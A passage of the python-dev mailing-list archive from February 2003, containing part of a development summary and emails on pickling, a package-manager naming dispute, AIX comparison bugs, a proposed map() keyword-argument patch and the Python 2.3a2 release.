`PEP 307`_ has been unleashed upon the world.  Guido and Tim Peters came
up with a new pickling protocol (aptly named protocol 2; I am sure it took
a lot of Guido's magical pickles to come up with that name).  The reason
for doing this was to have the pickle for new-style classes not be so
immense (this was brought to the forefront by datetime_ and the hell that
Tim and Guido went through to get it to pickle reasonably).  Everything is
backwards compatible since it is a new protocol, so there is no need to
panic.  Still interesting in terms of what they are doing, though, so you
might want to read it.

Paul DuBois asked if it would be possible at some point to be able to
pickle a class or function definition.  Paul was informed that pickling is
meant for data only.  Jeremy Hylton, though, has managed to pull something
like what Paul wants off in Zope 3 by subclassing Pickler and UnPickler
from the pickle_ module (so doesn't work with cPickle_).

Arne Koewing asked if pickling weak references could be done.  Short
answer, no.  Long answer, not unless you want great pain trying to do
implement it.

.. _PEP 307:
.. _datetime: http://www.python.org/dev/doc/devel/lib/module-datetime.html
.. _pickle: http://www.python.org/dev/doc/devel/lib/module-pickle.html
.. _cPickle: http://www.python.org/dev/doc/devel/lib/module-cPickle.html


======================
`Unicode filenames`__
======================
__ http://mail.python.org/pipermail/python-dev/2003-February/033215.html

Jack van Rossum was "tempted to set Py_FileSystemDefaultEncoding_ to
"utf8" for OSX".  He tried it and it works well, but he noticed that
os.listdir() returns strings and not Unicode objects.  So obviously the
question came up as to whether to change this so that it returned Unicode
when Py_FileSystemDefaultEncoding_ is set to something that is non-NULL.

The issue is round-trip passing of strings.  If you get something from
os.listdir() you would like to be able to pass to file() with no issues.
The question is how to handle this need without breaking
backwards-compatibility.


.. _Py_FileSystemDefaultEncoding:
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Python/bltinmodule.c


============================================
`GadflyDA in core? Or as add-on-product?`__
============================================
__ http://mail.python.org/pipermail/python-dev/2003-February/033312.html

Splinter threads:
    - `Gadfly in Python core
<http://mail.python.org/pipermail/python-dev/2003-February/033343.html>`__

Continuation of `GadflyDA in core?...`_ from the `last summary`_.

As was summarized before, there was talk of adding Gadfly_ to the stdlib.
Two issues with adding it was its license and having kjbuckets_ as a
dependency.  The first one was solved when Aaron Watters said he would be
happy to transfer the license to the PSF_.  The second is currently being
worked on.

Another issue came up, though.  Gadfly is approximately 11,000 lines of
Python code (Richard Jones thinks 1,200 lines could be removed by taking
out the parser builder).  That is an immense chunk of code with no one
stepping forward to be the active maintainer of it.  Without someone
willing to make sure the code does not suffer from bit rot there is a
chance Gadfly won't be allowed into the stdlib.  If you happen to think
you can take on maintenance responsibilities, please step forward and let
it be known.

.. _GadflyDA in core?...:
http://mail.python.org/pipermail/python-dev/2003-January/032295.html
.. _Gadfly: http://gadfly.sf.net/
.. _PSF: http://www.python.org/psf/
.. _kjbuckets: http://starship.python.net/crew/aaron_watters/kjbuckets/


=============================================================================
`PEP Draft: Simplified Global Interpreter Lock acquisition for
extensions`__
=============================================================================
__ http://mail.python.org/pipermail/python-dev/2003-February/032958.html

Splinter threads:
    - `Change definition of Py_END_ALLOW_THREADS?
<http://mail.python.org/pipermail/python-dev/2003-February/033311.html>`__
    - `Updated AutoThreadState pre-PEP
<http://mail.python.org/pipermail/python-dev/2003-February/033393.html>`__

In an attempt to make it easier for C code to access the GIL in
complicated, threaded situations where knowledge about the state of the
Python interpreter is limited, Mark Hammond has come up with a new API
that is covered in `PEP 311`_.  In essence, Mark has come up with a way to
allow external C code to get the GIL to do work with Python code in a
threaded environment without having to know too much about the status of
the interpreter in regards to threading.

.. _PEP 311: http://www.python.org/peps/pep-0311.html


=================================
`CALL_ATTR, A Method Proposal`__
=================================
__ http://mail.python.org/pipermail/python-dev/2003-February/033410.html

Glyph Lefkowitz suggested creating a new bytecode instruction for doing
method calls since the current setup takes 3 separate bytecode calls and
is about 20% slower than a function call according to Glyph.  Guido said
he was all for a special bytecode as long as the semantic meaning, in the
end, is the same.

Skip Montanaro suggested caching the results of getattr().  Guido said it
could only work if the getattr() for each object did the caching.  Glyph
clarified, though, that he was not going after caching but just cutting
the bytecode instruction count for a method count down 'to mean "call this
method" rather than "get this attribute, call the result"'.


=========
Quickies
=========

`Python roadmap
<http://mail.python.org/pipermail/python-dev/2003-February/032688.html>`__
    Roman Suzi asked about the direction of Python.  Led to discussion of
shadowing built-ins and Neal Norwitz adding a check to PyChecker_ to warn
against this.

`New version of PEP 304
<http://mail.python.org/pipermail/python-dev/2003-February/032727.html>`__
    Single email about `PEP 304`_ and how it might deal with Windows.

`disable writing .py[co]
<http://mail.python.org/pipermail/python-dev/2003-February/032704.html>`__
    Clarifies the misunderstanding of how Python handles writing .py[co]
files on read-only filesystems and how PEP 304 will allow you to specify
not writing the files.

`Anyone willing to look over a zlib fix?
<http://mail.python.org/pipermail/python-dev/2003-February/032708.html>`__
   Email about a fix for zlib_ when dealing with huge compressed files.

`database APIs
<http://mail.python.org/pipermail/python-dev/2003-February/032733.html>`__
    A question about possible `DB 2.0 API`_ helper functions was brought
up and moved to the DB-SIG_.

`PEP 42:  sizeof(obj) builtin
<http://mail.python.org/pipermail/python-dev/2003-February/032772.html>`__
   Continuation of a thread from the `last summary`_ that basically said
1) writing sizeof() for Python would be *extremely* difficult, and 2) Java
has no API for finding out how much space something takes up.  I was going
to put in a snide comment here about Java, but I restrained myself; at
least Jython makes Java okay.  =)

`Weekly Python Bug/Patch Summary
<http://mail.python.org/pipermail/python-dev/2003-February/033216.html>`__
   Lots of bugs, lots of patches, and MvL is on vacation.  =)

`bsddb3 upgrade woes - more gentle transition?
<http://mail.python.org/pipermail/python-dev/2003-February/032804.html>`__
   Skip Montanaro pointed out some people have had issues using bsddb3_
because it requires using the newest Sleepycat DB format.  Skip scratched
his own itch by writing `Tools/scripts/{db2pickle,pickle2db}.py`_.

`Atomic operations
<http://mail.python.org/pipermail/python-dev/2003-February/033077.html>`__
    An idea of having a keyword to shut down threads so as to guarantee
code being executed synchronously.  Led to a link of an article suggesting
having a keyword that delayed the raising of exceptions from signals so as
to make sure code finished executing without interruption.

`Idea for avoiding exception masking
<http://mail.python.org/pipermail/python-dev/2003-February/032864.html>`__
    Continuation of a thread summarized in the `last summary`_ about how
to handle exceptions that would get masked by other exceptions.

`BUILDEXE erroneously empty on 2.2.2 for Mac OS X?
<http://mail.python.org/pipermail/python-dev/2003-February/032946.html>`__
    Skip Montanaro had problems building on OS X out of the tree on the
2.2 maintenance branch.  Appropriate patches were backported and thus the
problem was fixed.

`Unicode-like objects
<http://mail.python.org/pipermail/python-dev/2003-February/032948.html>`__
    Just van Rossum asked if there was a way to make an object act like a
Unicode object.  This turned into the thread `Bridging strings from Python
to other languages
<http://mail.python.org/pipermail/python-dev/2003-February/032964.html>`__
and how to go possibly make strings from OS X's Cocoa API play nicely with
Python strings.

`I have something I'd like to use the farm for.
<http://mail.python.org/pipermail/python-dev/2003-February/033016.html>`__
    Michael Hudson cross-posted to python-dev about how he wanted to use
the `Snake Farm`_ to test a patch for `signal.sigprocmask()`_ to find out
what OSs it worked on.

`Negated hex/oct constants (SF #660455)
<http://mail.python.org/pipermail/python-dev/2003-February/033029.html>`__
    Guido discovered that negating a negative number represented as a hex
constant (such as -0xffffffff) is different from a negative hex number
with the negation applied to parantheses (such as -(0xffffffff)).  It was
decided to leave it since it will be correct in 2.4 and is already this
way in 2.2.

`Deprecating modules after 2.3a1?
<http://mail.python.org/pipermail/python-dev/2003-February/033138.html>`__
    Jack Jansen wanted to know if it was okay to deprecate module even
though an alpha for Python 2.3 had gone out.  Guido said it was fine.
Jack also mentioned that Python 2.4 will have no Mac OS9 support.

`Why is the GIL not in PyInterpreterState?
<http://mail.python.org/pipermail/python-dev/2003-February/033159.html>`__
    Tobias Oberstein asked hwo to go about making sure multiple
interpreters in a single process didn't step all over each other because
of threading issues.  Was told that Python doesn't have support for
something like that but if he could come up with a patch that was good it
would probably be accepted.

`contributing documentation (fwd)
<http://mail.python.org/pipermail/python-dev/2003-February/033179.html>`__
    A paper on the MRO and how it works was posted at
http://www.python.org/2.3/mro.html ; it's a good paper and easy to read.

`Unicode source code
<http://mail.python.org/pipermail/python-dev/2003-February/033214.html>`__
    Thanks to Just van Rossum, compile(), eval(), and exec accept Unicode
objects.

`Grzegorz Adam Hankiewicz found a parsing bug in HTMLParser.
<http://mail.python.org/pipermail/python-dev/2003-February/033242.html>`__
    Read the name of the thread to figure this extremely complex
discussion was about.  =)

`UNREF invalid object
<http://mail.python.org/pipermail/python-dev/2003-February/033253.html>`__
    Today, children, we learned that one should call "PyObject_Del only on
the "self" argument to the type's tp_dealloc function", "which is called
*by* the expansion of Py_DECREF(self)"anyway, so everything should go
through Py_DECREF()_.  Now everyone thank Mr. Peters for teaching us this
valuable lesson!  <"Thank you, Mr. Peters!">

`bitwise operators and lambdas
<http://mail.python.org/pipermail/python-dev/2003-February/033289.html>`__
    Someone suggested moving bitwise operators to a module and a shorthand
for lambda.  The chances of the moving of the bitwise operators happening
are about as good as George W. Bush winning the Nobel Peace Prize for his
work in Iraq.  The lambda shorthand, though, became `PEP 312`_.

`[Python-checkins] python/dist/src/Python bltinmodule.c,2.276,2.277
<http://mail.python.org/pipermail/python-dev/2003-February/033304.html>`__
    Tim Peters wanted to get rid of all the code for the MPW compiler used
for Mac OS9.  Jack Jansen said to wait until after Python 2.3.

`Adding Japanese Codecs to the distro
<http://mail.python.org/pipermail/python-dev/2003-February/033309.html>`__
    Hye-Shik Chang opened http://python.org/sf/684142 to incorporate
Korean Codecs into the stdlib.

`dict "setdefault". Feaure request or bugfix?
<http://mail.python.org/pipermail/python-dev/2003-February/033321.html>`__:
`lazy evaluation redux
<http://mail.python.org/pipermail/python-dev/2003-February/033322.html>`__
    Someone wanted the second argument to {}.setdefault() to be lazily
evaluated which would require special-casing since it would go against how
Python works.  The idea of lazy functions as a built-in syntax and special
syntax for no-argument lambdas was brought up.

`[meta] EIBTI: can we acronimize?
<http://mail.python.org/pipermail/python-dev/2003-February/033327.html>`__
    Lalo Martin wants to start shortening "Explicit is better than
implicit" as the acronym EIBTI.  I think that it doesn't exist as an
acronym until it ends up on acronymfinder.com.  =)

`Codecs Data
<http://mail.python.org/pipermail/python-dev/2003-February/033339.html>`__
    Gustavo Niemeyer asked about making the codecs data currently in
codecsmodule.c available to all interpreters when multiple ones are
launched (currently the codecs are only available to the first interpreter
started).  The discussion led to the conclusion that PyInterpreterState_
should be augmented to store the codecs.

`str.join, string.join
<http://mail.python.org/pipermail/python-dev/2003-February/033342.html>`__
    Christian Tismer asked if anyone else thought it would be a good idea
to turn the join() method on strings into a class method so that the
common idiom ``','.join(lines)`` would turn into ``str.join(lines, ',')``.
Some people agreed before Guido said that the thread should be moved off
of python-dev and over to comp.lang.python_.

`when is binary mode required for pickle?
<http://mail.python.org/pipermail/python-dev/2003-February/033362.html>`__
   Skip Montanaro wanted to know when he needed to open or save a pickle
file in binary mode (the 'b' option for file()).  The answer is that
protocol 0 allows you to open a pickle in text mode, but protocols 1 and 2
require it.  So the safe answer is to always use binary mode for pickles.

`SF CVS down?
<http://mail.python.org/pipermail/python-dev/2003-February/033367.html>`__
    I wondered if the SourceForge_ CVS was down or if my connection
problems were just me.

`Overly creative config in socketmodule.c
<http://mail.python.org/pipermail/python-dev/2003-February/033371.html>`__
    Tim Peters discovered a bad configuration in socketmodule.c_ using
``#if 1``.  Neal Norwitz fixed even though he was not the guilty party in
writing the bad code.

`Chancing SF tracker email preferences
<http://mail.python.org/pipermail/python-dev/2003-February/033380.html>`__
    Guido wanted to stop having all follow-up comments posted to
SourceForge_ mailed to python-bugs-list@ or patches@ .  He asked if anyone
had any objection to this.  So far several people have spoken up and said
they liked receiving the emails.

`import curdir, pardir, sep, pathsep, defpath, from relevant *path modules
<http://mail.python.org/pipermail/python-dev/2003-February/033387.html>`__
   Skip Montanaro that all of the mentioned functions in the subject of
this thread were contained in os.py_ when in fact they should be in the
various os.path modules (such as posixpath_).  Skip moved them and has os_
still import them so there is not visible change in the API.

`PEP-242 Numeric kinds -- disposition
<http://mail.python.org/pipermail/python-dev/2003-February/033400.html>`__
    Paul DuBois asked that `PEP 242`_ be rejected since it is included
with Numeric_ currently and be removed in the next release.

`Re: [Python-checkins] python/nondist/peps pep-0311.txt,NONE,1.1
<http://mail.python.org/pipermail/python-dev/2003-February/033404.html>`__
    Just van Rossum saying that he does not like the use of "auto" as a
prefix as stated as a possibility for `PEP 311`_.

`PEP 308: "then" "else" for deprecating "and" "or" side effects
<http://mail.python.org/pipermail/python-dev/2003-February/033399.html>`__
    Christian Tismer suggested replacing "and" and "or" with "then" and
"else" for doing binary short circuit testing (such as ``arg = arg else
"Default"`` instead of ``arg = arg or "Default"``).  Also suggested ``arg
when cond1 else cond2`` as a possible ternary operator.  Still being
tossed around on python-dev.

`PEP308 alternative syntax: bool method
<http://mail.python.org/pipermail/python-dev/2003-February/033423.html>`__
   Someone suggested adding a method to booleans to act like a ternary
operator.  Before the discussion was moved to comp.lang.python as all
ternary discussions should be the point was made that it could not support
short circuiting.

`non-binary operators
<http://mail.python.org/pipermail/python-dev/2003-February/033428.html>`__
   Thread that popped into existence on python-dev part-way through its
discussion on comp.lang.python (which is why it died on python-dev
quickly) about how ternary operators are different compared to two chained
binary operators (like ``a < b < c``).

`Import lock knowledge required!
<http://mail.python.org/pipermail/python-dev/2003-February/033436.html>`__
    Mark Hammond asked for help with dealing with a deadlock with import
locking.

`Changes to logging
<http://mail.python.org/pipermail/python-dev/2003-February/033438.html>`__
    Vinay Sajip said he had patches for the logging_ package ready to go
and asked for comments, which he received.

`execve vulnerability
<http://mail.python.org/pipermail/python-dev/2003-February/033451.html>`__
: `Python execvpe symlink race condition
<http://mail.python.org/pipermail/python-dev/2003-February/033458.html>`__
    Someone reported a vulnerability that was fixed since Python 2.2.2.

.. _PyChecker: http://pychecker.sf.net/
.. _PEP 304: http://www.python.org/peps/pep-0304.html
.. _zlib: http://www.python.org/dev/doc/devel/lib/module-zlib.html
.. _DB 2.0 API: http://www.python.org/topics/database/DatabaseAPI-2.0.html
.. _DB-SIG: http://www.python.org/sigs/db-sig/
.. _bsddb3: http://pybsddb.sourceforge.net/bsddb3.html
.. _Tools/scripts/{db2pickle,pickle2db}.py:
.. _Snake Farm: http://www.lysator.liu.se/~sfarmer/
.. _signal.sigprocmask():
http://www.python.org/dev/doc/devel/lib/module-signal.html#l2h-2249
.. _PyObject_Del():
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Objects/object.c
.. _Py_DECREF():
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Include/object.h
.. _PyInterpreterState:
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/pystate.h
.. _socketmodule.c:
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Modules/socketmodule.c
.. _os.py:
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/os.py
.. _posixpath:
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/posixpath.py
.. _os: http://www.python.org/dev/doc/devel/lib/module-os.html
.. _PEP 242: http://www.python.org/peps/pep-0242.html
.. _Numeric: http://www.pfdubois.com/numpy/
.. _PEP 312: http://www.python.org/peps/pep-0312.html
.. _logging: http://www.python.org/dev/doc/devel/lib/module-logging.html




From mhammond@skippinet.com.au  Mon Feb 17 23:33:20 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Tue, 18 Feb 2003 10:33:20 +1100
Subject: [Python-Dev] Package Install Manager for Python
In-Reply-To: <Pine.SOL.4.53.0302171502350.16007@death.OCF.Berkeley.EDU>
Message-ID: <000301c2d6dc$f6211e70$530f8490@eden>

> > Must be a cultural thing...
>
> Or just me still acting like a college student.

Nah - just a healthy community.  As they say, growing old is mandatory, but
growing up is optional <wink>

Mark.



From tjreedy@udel.edu  Tue Feb 18 03:54:13 2003
From: tjreedy@udel.edu (Terry Reedy)
Date: Mon, 17 Feb 2003 22:54:13 -0500
Subject: [Python-Dev] Re: Package Install Manager for Python
References: <3E50A068.5050709@lemburg.com> <C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl>
Message-ID: <b2s9rm$2p6$1@main.gmane.org>

"Jack Jansen" <Jack.Jansen@cwi.nl> wrote in message
news:C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl...
>
> On Monday, Feb 17, 2003, at 09:42 Europe/Amsterdam, M.-A. Lemburg
wrote:
>
> > Jack, please change the name of that module before it's too
> > late. Something like pkgman would much better fit the purpose
> > (or packman if you feel that it should be a funny name ;-).

Packman is cute and clever.

> Hmm, you're the second person to state that the name pimp isn't a
good
> idea.
> I tend to like names with a bit of a joke in them, and there's more
> Python-related names that do this (idle, piddle).
>
> Does anyone else have an opinion on the matter?

-10

Ok, I'll be uncool.  To me, a pimp is a type of rapist.  Hardly
something to joke about.  In much of America, asking a female employee
to use 'pimp' to procure something might well be an invitation to file
a sex-harassment lawsuit.  To both me and my wife (who would be
insulted if so asked), the name says 'this is a college frat/nerd
prank product, not for serious business/professional use".

Terry





From neal@metaslash.com  Tue Feb 18 04:57:57 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Mon, 17 Feb 2003 23:57:57 -0500
Subject: [Python-Dev] various unix platform build/test issues
Message-ID: <20030218045757.GU31973@epoch.metaslash.com>

It ain't real pretty, but it could be worse:

        http://metaslash.com/py/2.3-problems.html

I'm trying to commit changes to the logging package, but SF has a
stale CVS lock for anoncvs_python.  I filed a support request.
Hopefully they will have it fixed within a month or two, at least by
the time 2.3 is ready to be released.  I don't know if the updates are
supposed to fix the test hangs/failures for test_logging.

Here's the problem highlights (there are more, follow the link):

  * There are 3 64-bit issues:
        http://python.org/sf/688424

  * test_pty hangs on 3 platforms, possible fix:
        http://python.org/sf/671384

  * test_resource can fail when filesize is limited
        http://python.org/sf/678264

  * iconv module calls PyFatalError() if the C module initialization 
        fails, is there a better way to handle this?  I had to
        disable building iconv on AIX.

  * AIX sorts numbers and strings in a different order than Linux:

        >>> 'ick' >= 0  # Linux
        True

        >>> 'ick' >= 0  # AIX
        False

     This causes failures for test_descrtut and test_random.

I don't expect to get these taken care of for 2.3a2 assuming
it's released tomorrow.  It would be nice to have most of
the platforms clean for the beta.

Neal


From tim_one@email.msn.com  Tue Feb 18 05:39:57 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Tue, 18 Feb 2003 00:39:57 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <20030218045757.GU31973@epoch.metaslash.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEDCDOAB.tim_one@email.msn.com>

[Neal Norwitz]
>   * AIX sorts numbers and strings in a different order than Linux:
>
>         >>> 'ick' >= 0  # Linux
>         True
>
>         >>> 'ick' >= 0  # AIX
>         False
>
>      This causes failures for test_descrtut and test_random.

It shouldn't.  Regardless of platform, this should end up at the tail end of
default_3way_compare(), resolved by the

	c = strcmp(vname, wname);

line with vname "str" and wname "" (an empty string).

But-- ick! --it doesn't, and not on any platform anymore.  vname and wname
are both empty strings now, so it goes on to compare the objects by memory
address and the outcome is pure accident ... this is because rev 2.197 of
stringobject.c gave string objects a non-NULL tp_as_number slot for the
first time.  The intent of the emtpy-string gimmick was to make all numeric
objects "less than" all non-numeric objects (excepting None, which is less
than every non-None value), in particular so that sorting a list would bring
all the number-like thingies next to each other.  Strings weren't intended
to take part in this number gimmick too.  Then again, comparison is so snaky
it's hard to predict what it will do.  In any case, this is incompatible
with previous Python releases.  Neil(S), was giving strings a tp_as_number
slot necessary?  Or just the least painful way to fix whatever bug it was
fixing?  I suppose the tail end of default_3way_compare could grow more
special cases to exempt strings from being treated like numbers for the
purpose of comparison.



From pedronis@bluewin.ch  Tue Feb 18 06:44:12 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Tue, 18 Feb 2003 07:44:12 +0100
Subject: [Python-Dev] 308: the debate is petering out
Message-ID: <004001c2d719$25deae20$6d94fea9@newmexico>

1926 ~on-topic PEP 308 posts
by 185 posters

posts by day:
07 Feb 73
08 Feb 374
09 Feb 244
10 Feb 382
11 Feb 298
12 Feb 229
13 Feb 124
14 Feb 82
15 Feb 62
16 Feb 34
17 Feb 22

posters with >2 posts:
Erik Max Francis                   254
Andrew Koenig                      156
Andrew Dalke                       99
=> ~1/4 posts (509)  by 3 poster(s)
Aahz                               84
holger krekel                      72
Paul Rubin                         56
Bengt Richter                      53
James J. Besemer                   51
Christian Tismer                   43
Samuele Pedroni                    43
Terry Reedy                        43
Laura Creighton                    38
=> ~1/2 posts (992)  by 12 poster(s)
Dave Brueck                        36
Michele Simionato                  33
Tim Peters                         31
Paul Moore                         30
Roy Smith                          30
Carlos Ribeiro                     28
David Eppstein                     28
Paul Paterson                      23
Alex Martelli                      21
Michael Hudson                     21
...


From Jack.Jansen@cwi.nl  Tue Feb 18 11:06:45 2003
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Tue, 18 Feb 2003 12:06:45 +0100
Subject: [Python-Dev] Package Install Manager for Python
In-Reply-To: <00c201c2d675$042386b0$530f8490@eden>
Message-ID: <1146C0BD-4331-11D7-B823-0030655234CE@cwi.nl>

Wonderful, split votes:-)

I'm going to leave the name at pimp for the time being (Python 2.3, 
Mac-only), and
after 2.3 I'll probably write a PEP on the subject and come up with 
another name.

Note that "pimp" is the name of the underlying module only, the user 
interface
which people would normally use is PackageManager. Pimp can be invoked 
as a
commandline tool too, but this is only for die-hard unix hackers 
anyway, and I'll
just chance it they can see the humor.

And, yes, I guess it's a cultural thing. Here in Amsterdam a pimp is a 
pretty
respectable profession. Definitely higher standing than a cab driver, 
somewhat
on par with a coffeeshop owner:-)
--
Jack Jansen, <Jack.Jansen@cwi.nl>, http://www.cwi.nl/~jack
If I can't dance I don't want to be part of your revolution -- Emma 
Goldman



From Ludovic.Aubry@logilab.fr  Tue Feb 18 11:18:44 2003
From: Ludovic.Aubry@logilab.fr (Ludovic Aubry)
Date: Tue, 18 Feb 2003 12:18:44 +0100
Subject: [Python-Dev] [rfc] map enhancement
Message-ID: <20030218111844.GA10112@logilab.fr>

Hi,

First a brief introduction, since this is my first post to python-dev:
I'm a software engineer, mostly using C/C++ and Python. I also
occasionaly teach a tutorial class on Python.

A couple weeks ago I told Raymond Hettinger how I liked itertools
and that I always missed a feature from map that could be easily
implemeted in imap. He told me that he was trying to stay as close
as possible to the behavior of the original map function.

This why I am proposing this backward compatible enhancement to map:

Using map you always end up using lambda functions to pass constant
arguments to the mapping function like this:

map( lambda x,y=K: f(x,y), L )

What I propose in this patch is to have map recognize its keyword
arguments like this:

map( f, L , y=K )

The result would be:
def map( f, L, **kw ): # accepts only one list for simplicity
   l=[]
   for i in L:
      l.append( f(i,**kw) )
   return l

While it doesn't solve every problem (passing a value to the first arg)
it could help remove many uses of lambda functions.

If it turns out to be useful to people other than me I can also make a
patch for the filter function which could benefit from the same
extension.

Since the patch is very small I include it here (against the latest
python 2.3 cvs)

Comments ?

Index: src/Doc/lib/libfuncs.tex
===================================================================
RCS file: /cvsroot/python/python/dist/src/Doc/lib/libfuncs.tex,v
retrieving revision 1.128
diff -u -r1.128 libfuncs.tex
--- src/Doc/lib/libfuncs.tex	31 Jan 2003 17:19:05 -0000	1.128
+++ src/Doc/lib/libfuncs.tex	18 Feb 2003 10:48:15 -0000
@@ -643,12 +643,14 @@
   point numbers to integers truncates (towards zero).
 \end{funcdesc}
 
-\begin{funcdesc}{map}{function, list, ...}
+\begin{funcdesc}{map}{function, list1, ..., listN\optional{, k1=a1,...}}
   Apply \var{function} to every item of \var{list} and return a list
   of the results.  If additional \var{list} arguments are passed,
   \var{function} must take that many arguments and is applied to the
   items of all lists in parallel; if a list is shorter than another it
-  is assumed to be extended with \code{None} items.  If \var{function}
+  is assumed to be extended with \code{None} items.  If optional keyword
+  arguments are passed, \var{function} must accept them as named arguments
+  and they are passed each time \var{function} is called.  If \var{function}
   is \code{None}, the identity function is assumed; if there are
   multiple list arguments, \function{map()} returns a list consisting
   of tuples containing the corresponding items from all lists (a kind
Index: src/Python/bltinmodule.c
===================================================================
RCS file: /cvsroot/python/python/dist/src/Python/bltinmodule.c,v
retrieving revision 2.281
diff -u -r2.281 bltinmodule.c
--- src/Python/bltinmodule.c	13 Feb 2003 22:07:58 -0000	2.281
+++ src/Python/bltinmodule.c	18 Feb 2003 10:48:22 -0000
@@ -731,7 +731,7 @@
 
 
 static PyObject *
-builtin_map(PyObject *self, PyObject *args)
+builtin_map(PyObject *self, PyObject *args, PyObject *kwargs)
 {
 	typedef struct {
 		PyObject *it;	/* the iterator object */
@@ -854,7 +854,7 @@
 		if (func == Py_None)
 			value = alist;
 		else {
-			value = PyEval_CallObject(func, alist);
+			value = PyEval_CallObjectWithKeywords(func, alist, kwargs);
 			Py_DECREF(alist);
 			if (value == NULL)
 				goto Fail_1;
@@ -1780,7 +1780,7 @@
  	{"iter",	builtin_iter,       METH_VARARGS, iter_doc},
  	{"len",		builtin_len,        METH_O, len_doc},
  	{"locals",	(PyCFunction)builtin_locals,     METH_NOARGS, locals_doc},
- 	{"map",		builtin_map,        METH_VARARGS, map_doc},
+ 	{"map",		builtin_map,        METH_KEYWORDS, map_doc},
  	{"max",		builtin_max,        METH_VARARGS, max_doc},
  	{"min",		builtin_min,        METH_VARARGS, min_doc},
  	{"oct",		builtin_oct,        METH_O, oct_doc},


-- 
Ludovic Aubry                                 LOGILAB, Paris (France).
http://www.logilab.com   http://www.logilab.fr  http://www.logilab.org


From guido@python.org  Tue Feb 18 13:00:02 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 18 Feb 2003 08:00:02 -0500
Subject: [Python-Dev] [rfc] map enhancement
In-Reply-To: "Your message of Tue, 18 Feb 2003 12:18:44 +0100."
 <20030218111844.GA10112@logilab.fr>
References: <20030218111844.GA10112@logilab.fr>
Message-ID: <200302181300.h1ID02O04639@pcp02138704pcs.reston01.va.comcast.net>

> Using map you always end up using lambda functions to pass constant
> arguments to the mapping function like this:
> 
> map( lambda x,y=K: f(x,y), L )

This can now done by writing instead:

  map(lambda x: f(x, K), L)

or if you don't want the lambda, you can use a list comprehension:

  [f(x, K) for x in L]

> What I propose in this patch is to have map recognize its keyword
> arguments like this:
> 
> map( f, L , y=K )
> 
> The result would be:
> def map( f, L, **kw ): # accepts only one list for simplicity
>    l=[]
>    for i in L:
>       l.append( f(i,**kw) )
>    return l
> 
> While it doesn't solve every problem (passing a value to the first arg)
> it could help remove many uses of lambda functions.

While your patch scores high in minimal changes to the implementation,
I don't like the resulting notation.  While map(f, L) is reasonably
natural, map(f, L, y=K) is not.  Also, most C functions don't accept
keyword arguments, so this won't help as much in the case where
there's a speed reason for avoiding lambdas and list comprehensions.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From duncan@rcp.co.uk  Tue Feb 18 13:22:26 2003
From: duncan@rcp.co.uk (Duncan Booth)
Date: Tue, 18 Feb 2003 13:22:26 +0000
Subject: [Python-Dev] [rfc] map enhancement
References: <20030218111844.GA10112@logilab.fr>
Message-ID: <Xns932687FA71E88duncanrcpcouk@127.0.0.1>

[posted and mailed]

Ludovic Aubry <Ludovic.Aubry@logilab.fr> wrote in 
news:20030218111844.GA10112@logilab.fr:

> Using map you always end up using lambda functions to pass constant
> arguments to the mapping function like this:
> 
> map( lambda x,y=K: f(x,y), L )

You can also write this as:

    map(lambda x: f(x,K), L)

which is arguably cleaner although these days I would probably use a list 
comprehension.

> 
> What I propose in this patch is to have map recognize its keyword
> arguments like this:
> 
> map( f, L , y=K )
> 
> The result would be:
> def map( f, L, **kw ): # accepts only one list for simplicity
>    l=[]
>    for i in L:
>       l.append( f(i,**kw) )
>    return l

Or in the general case:

def map(f, *L, **kw):
	return [ f(*i, **kw) for i in L]

> 
> While it doesn't solve every problem (passing a value to the first arg)
> it could help remove many uses of lambda functions.
> 
Have you looked at any code using map to see what proportion of calls this 
would help. In particular how often do all the fixed arguments match this 
pattern so they could be passed as keywords?

I do have a problem with this. It looks as though it ought to work in some 
situations where it doesn't. For example, searching my lib directory for 
occurences of map, I only found one place where it looks as though this new 
form could be used. That is in win32comext\mapi\mapiutil.py which contains:

    return map(lambda(v): v[1], data)

It appears as though you ought to be able to write this as:

   return map(operator.getitem, data, b=1)

except that operator.getitem, in common with many builtin functions doesn't 
accept any keyword arguments.

This is a pity as it cripples most of the situations where you might 
otherwise want to use this. e.g. add a constant to elements of a list, or 
multiply by a constant.

-- 
Duncan Booth                                             duncan@rcp.co.uk
int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?


From guido@python.org  Tue Feb 18 14:50:43 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 18 Feb 2003 09:50:43 -0500
Subject: [Python-Dev] Python 2.3a2 release today?
Message-ID: <200302181450.h1IEoiY20543@pcp02138704pcs.reston01.va.comcast.net>

I'd like to release Python 2.3a2 today, if at all possible.  Is there
anything (outside the Mac tree) that should really be done before this
release?

Note that this is *not* the last opportunity to get new features in --
that would be 2.3b1, to be released a month from now.  (Unless there's
a screw-up in this release, I am planning no further alpha releases.)

This email doesn't start a checkin freeze -- I'll announce that later
when I feel more confident that there aren't any big pending issues.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Feb 18 15:05:21 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 18 Feb 2003 10:05:21 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: "Your message of Tue, 18 Feb 2003 00:39:57 EST."
 <LNBBLJKPBEHFEDALKOLCAEDCDOAB.tim_one@email.msn.com>
References: <LNBBLJKPBEHFEDALKOLCAEDCDOAB.tim_one@email.msn.com>
